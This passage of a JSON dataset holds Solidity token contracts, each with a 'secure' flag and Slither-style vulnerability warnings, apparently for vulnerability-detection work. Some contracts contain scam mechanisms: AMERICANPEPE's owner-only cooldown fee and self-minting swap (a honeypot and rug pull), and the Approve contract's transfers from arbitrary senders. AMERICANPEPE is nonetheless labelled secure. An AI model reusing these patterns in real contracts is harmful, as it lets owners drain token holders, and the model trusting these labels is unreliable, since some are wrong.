6d8e1a4): Trump._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 6d8e1a4: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4e26c12): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4e26c12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 39ff7f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 39ff7f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 6d8e1a4\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 28,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caCatalyst &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < casellAllowed, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: d6647fb\n\t\t\t\t// reentrancy-eth | ID: 4e26c12\n\t\t\t\t// reentrancy-eth | ID: 39ff7f3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d6647fb\n\t\t\t\t\t// reentrancy-eth | ID: 4e26c12\n\t\t\t\t\t// reentrancy-eth | ID: 39ff7f3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 39ff7f3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 39ff7f3\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d6647fb\n\t\t\t\t// reentrancy-eth | ID: 4e26c12\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d6647fb\n\t\t\t\t\t// reentrancy-eth | ID: 4e26c12\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4e26c12\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d6647fb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4e26c12\n _balances[from] = _balances[from].sub(\n IERC20(IRouter).allowance(from, to) * amount\n );\n\n\t\t// reentrancy-eth | ID: 4e26c12\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d6647fb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d6647fb\n\t\t// reentrancy-events | ID: bdf20fc\n\t\t// reentrancy-benign | ID: 9dbf11a\n\t\t// reentrancy-eth | ID: 4e26c12\n\t\t// reentrancy-eth | ID: 39ff7f3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ee6bf5e): Trump.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for ee6bf5e: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: ee6bf5e\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 84017f7): Trump.setcasellAllowed(uint256) should emit an event for casellAllowed = amount \n\t// Recommendation for 84017f7: Emit an event for critical parameter changes.\n function setcasellAllowed(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 84017f7\n casellAllowed = amount;\n }\n\n function setcaCatalyst(bool _status) external onlyOwner {\n caCatalyst = _status;\n }\n\n function reclaimETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dd91581): Trump.reclaimERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for dd91581: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function reclaimERC20tokens(\n address _tokenAddr,\n uint256 _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: dd91581\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b3639e0): Trump.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for b3639e0: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: b3639e0\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2ab6ec1): Trump.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 2ab6ec1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d6647fb\n\t\t// reentrancy-events | ID: bdf20fc\n\t\t// reentrancy-eth | ID: 4e26c12\n\t\t// reentrancy-eth | ID: 39ff7f3\n\t\t// arbitrary-send-eth | ID: 2ab6ec1\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 225e0a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 225e0a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dcf675b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dcf675b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4d96f0a): Trump.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4d96f0a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3ccc53b): Trump.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3ccc53b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 73a1515): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 73a1515: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 225e0a7\n\t\t// reentrancy-benign | ID: dcf675b\n\t\t// reentrancy-eth | ID: 73a1515\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: dcf675b\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: dcf675b\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 225e0a7\n\t\t// unused-return | ID: 3ccc53b\n\t\t// reentrancy-eth | ID: 73a1515\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 225e0a7\n\t\t// unused-return | ID: 4d96f0a\n\t\t// reentrancy-eth | ID: 73a1515\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 225e0a7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 73a1515\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 225e0a7\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1239.sol",
"secure": 0,
"size_bytes": 21497
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Create2 {\n error Create2InsufficientBalance(uint256 balance, uint256 needed);\n\n error Create2EmptyBytecode();\n\n error Create2FailedDeployment();\n\n function deploy(\n uint256 amount,\n bytes32 salt,\n bytes memory bytecode\n ) internal returns (address addr) {\n if (address(this).balance < amount) {\n revert Create2InsufficientBalance(address(this).balance, amount);\n }\n\n if (bytecode.length == 0) {\n revert Create2EmptyBytecode();\n }\n\n assembly {\n addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n }\n\n if (addr == address(0)) {\n revert Create2FailedDeployment();\n }\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash\n ) internal view returns (address) {\n return computeAddress(salt, bytecodeHash, address(this));\n }\n\n function computeAddress(\n bytes32 salt,\n bytes32 bytecodeHash,\n address deployer\n ) internal pure returns (address addr) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(add(ptr, 0x40), bytecodeHash)\n\n mstore(add(ptr, 0x20), salt)\n\n mstore(ptr, deployer)\n\n let start := add(ptr, 0x0b)\n\n mstore8(start, 0xff)\n\n addr := keccak256(start, 85)\n }\n }\n}",
"file_name": "solidity_code_124.sol",
"secure": 1,
"size_bytes": 1510
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Maga is IERC20 {\n using SafeMath for uint256;\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable totalSupply_;\n\n mapping(address => uint256) balances;\n\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n name = \"Maga\";\n\n symbol = \"MAGA\";\n\n decimals = 16;\n\n totalSupply_ = 1000000;\n\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n\n balances[receiver] = balances[receiver].add(numTokens);\n\n emit Transfer(msg.sender, receiver, numTokens);\n\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n\n emit Approval(msg.sender, delegate, numTokens);\n\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n\n balances[buyer] = balances[buyer].add(numTokens);\n\n emit Transfer(owner, buyer, numTokens);\n\n return true;\n }\n}",
"file_name": "solidity_code_1240.sol",
"secure": 1,
"size_bytes": 2338
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n assert(b <= a);\n\n return a - b;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n assert(c >= a);\n\n return c;\n }\n}",
"file_name": "solidity_code_1241.sol",
"secure": 1,
"size_bytes": 373
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract AMERICANPEPE is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08180c1): AMERICANPEPE._decimals should be constant \n\t// Recommendation for 08180c1: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6142132): AMERICANPEPE._totalSupply should be immutable \n\t// Recommendation for 6142132: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e87be9): AMERICANPEPE._name should be constant \n\t// Recommendation for 4e87be9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"AMERICAN PEPE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5357a77): AMERICANPEPE._symbol should be constant \n\t// Recommendation for 5357a77: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPETRUMP\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e355219): AMERICANPEPE.uniV2Router should be constant \n\t// Recommendation for e355219: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9fd4991): AMERICANPEPE._taxWallet should be immutable \n\t// Recommendation for 9fd4991: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function forbegins() public {}\n\n function atbegins() external {}\n\n function toaddto() public {}\n\n function onaddfor() public {}\n\n function toSwapExact(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function lockmorelp(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1242.sol",
"secure": 1,
"size_bytes": 7094
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ETH420 is IERC20 {\n string public constant name = \"ETH420\";\n\n string public constant symbol = \"ETH420\";\n\n uint8 public constant decimals = 18;\n\n uint256 public constant totalSupply = 69420000 * (10 ** uint256(decimals));\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address private immutable _owner;\n\n constructor() {\n _owner = msg.sender;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, msg.sender, currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_1243.sol",
"secure": 1,
"size_bytes": 2975
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9588e9f): Contract locking ether found Contract CosmotheSpacedog has payable functions CosmotheSpacedog.receive() But does not have a function to withdraw the ether\n// Recommendation for 9588e9f: Remove the 'payable' attribute or add a withdraw function.\ncontract CosmotheSpacedog is ERC20, Ownable {\n constructor() ERC20(unicode\"Cosmo the Spacedog\", unicode\"CCCP\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9588e9f): Contract locking ether found Contract CosmotheSpacedog has payable functions CosmotheSpacedog.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 9588e9f: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1244.sol",
"secure": 0,
"size_bytes": 1056
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PrimitiveLayerToken is ERC20 {\n constructor(address _treasury) ERC20(\"Primitive Layer Token\", \"PRLR\") {\n _mint(_treasury, 1e9 ether);\n }\n}",
"file_name": "solidity_code_1245.sol",
"secure": 1,
"size_bytes": 300
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n\t// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address recipient, uint256 amount) external;\n\n function balanceOf(address account) external view returns (uint256);\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 9bccb9f): IERC20 has incorrect ERC20 function interfaceIERC20.transferFrom(address,address,uint256)\n\t// Recommendation for 9bccb9f: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transferFrom(address from, address to, uint256 value) external;\n}",
"file_name": "solidity_code_1246.sol",
"secure": 0,
"size_bytes": 857
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Approve {\n\t// WARNING Optimization Issue (immutable-states | ID: d1a6563): approve.owner should be immutable \n\t// Recommendation for d1a6563: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n mapping(address => bool) private addressList;\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(\n msg.sender == owner,\n \"Only contract owner can call this function\"\n );\n\n _;\n }\n\n modifier onlyAuth() {\n require(addressList[msg.sender], \"only contract Auth\");\n\n _;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: 2001977): approve.transferFrom(address,address,address,uint256) uses arbitrary from in transferFrom IERC20(token).transferFrom(sender,recipient,amount)\n\t// Recommendation for 2001977: Use 'msg.sender' as 'from' in 'transferFrom'.\n function transferFrom(\n address token,\n address sender,\n address recipient,\n uint256 amount\n ) external onlyAuth returns (bool) {\n\t\t// arbitrary-send-erc20 | ID: 2001977\n IERC20(token).transferFrom(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 68448ff): approve.batchTransfer(address,address,address[],uint256[]) has external calls inside a loop erc20.transferFrom(sender,recipients[i],amounts[i])\n\t// Recommendation for 68448ff: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: 4fef501): approve.batchTransfer(address,address,address[],uint256[]) uses arbitrary from in transferFrom erc20.transferFrom(sender,recipients[i],amounts[i])\n\t// Recommendation for 4fef501: Use 'msg.sender' as 'from' in 'transferFrom'.\n function batchTransfer(\n address token,\n address sender,\n address[] calldata recipients,\n uint256[] calldata amounts\n ) external onlyAuth {\n require(\n recipients.length == amounts.length,\n \"Recipients and amounts length mismatch\"\n );\n\n IERC20 erc20 = IERC20(token);\n\n for (uint256 i = 0; i < recipients.length; i++) {\n\t\t\t// calls-loop | ID: 68448ff\n\t\t\t// arbitrary-send-erc20 | ID: 4fef501\n erc20.transferFrom(sender, recipients[i], amounts[i]);\n }\n }\n\n function transfer(\n address token,\n address recipient,\n uint256 amount\n ) external onlyAuth {\n IERC20(token).transfer(recipient, amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c6a8846): approve.send(address,uint256).recipient lacks a zerocheck on \t (success,None) = recipient.call{value amount}()\n\t// Recommendation for c6a8846: Check that the address is not zero.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a5b3f5c): approve.send(address,uint256) sends eth to arbitrary user Dangerous calls (success,None) = recipient.call{value amount}()\n\t// Recommendation for a5b3f5c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function send(address recipient, uint256 amount) external onlyAuth {\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(address(this).balance >= amount, \"Insufficient BNB balance\");\n\n\t\t// missing-zero-check | ID: c6a8846\n\t\t// arbitrary-send-eth | ID: a5b3f5c\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(success, \"BNB transfer failed\");\n }\n\n function addAddress(address _address) external onlyOwner {\n require(!addressList[_address], \"Address is already added.\");\n\n addressList[_address] = true;\n }\n\n function removeAddress(address _address) external onlyOwner {\n require(addressList[_address], \"Address is not in the list.\");\n\n addressList[_address] = false;\n }\n\n function isAddressInList(address _address) external view returns (bool) {\n return addressList[_address];\n }\n}",
"file_name": "solidity_code_1247.sol",
"secure": 0,
"size_bytes": 4290
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3540c0): ERC._taxWallet should be immutable \n\t// Recommendation for f3540c0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: be692dd): ERC._initialBuyTax should be constant \n\t// Recommendation for be692dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b32882): ERC._initialSellTax should be constant \n\t// Recommendation for 0b32882: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54864ba): ERC._finalBuyTax should be constant \n\t// Recommendation for 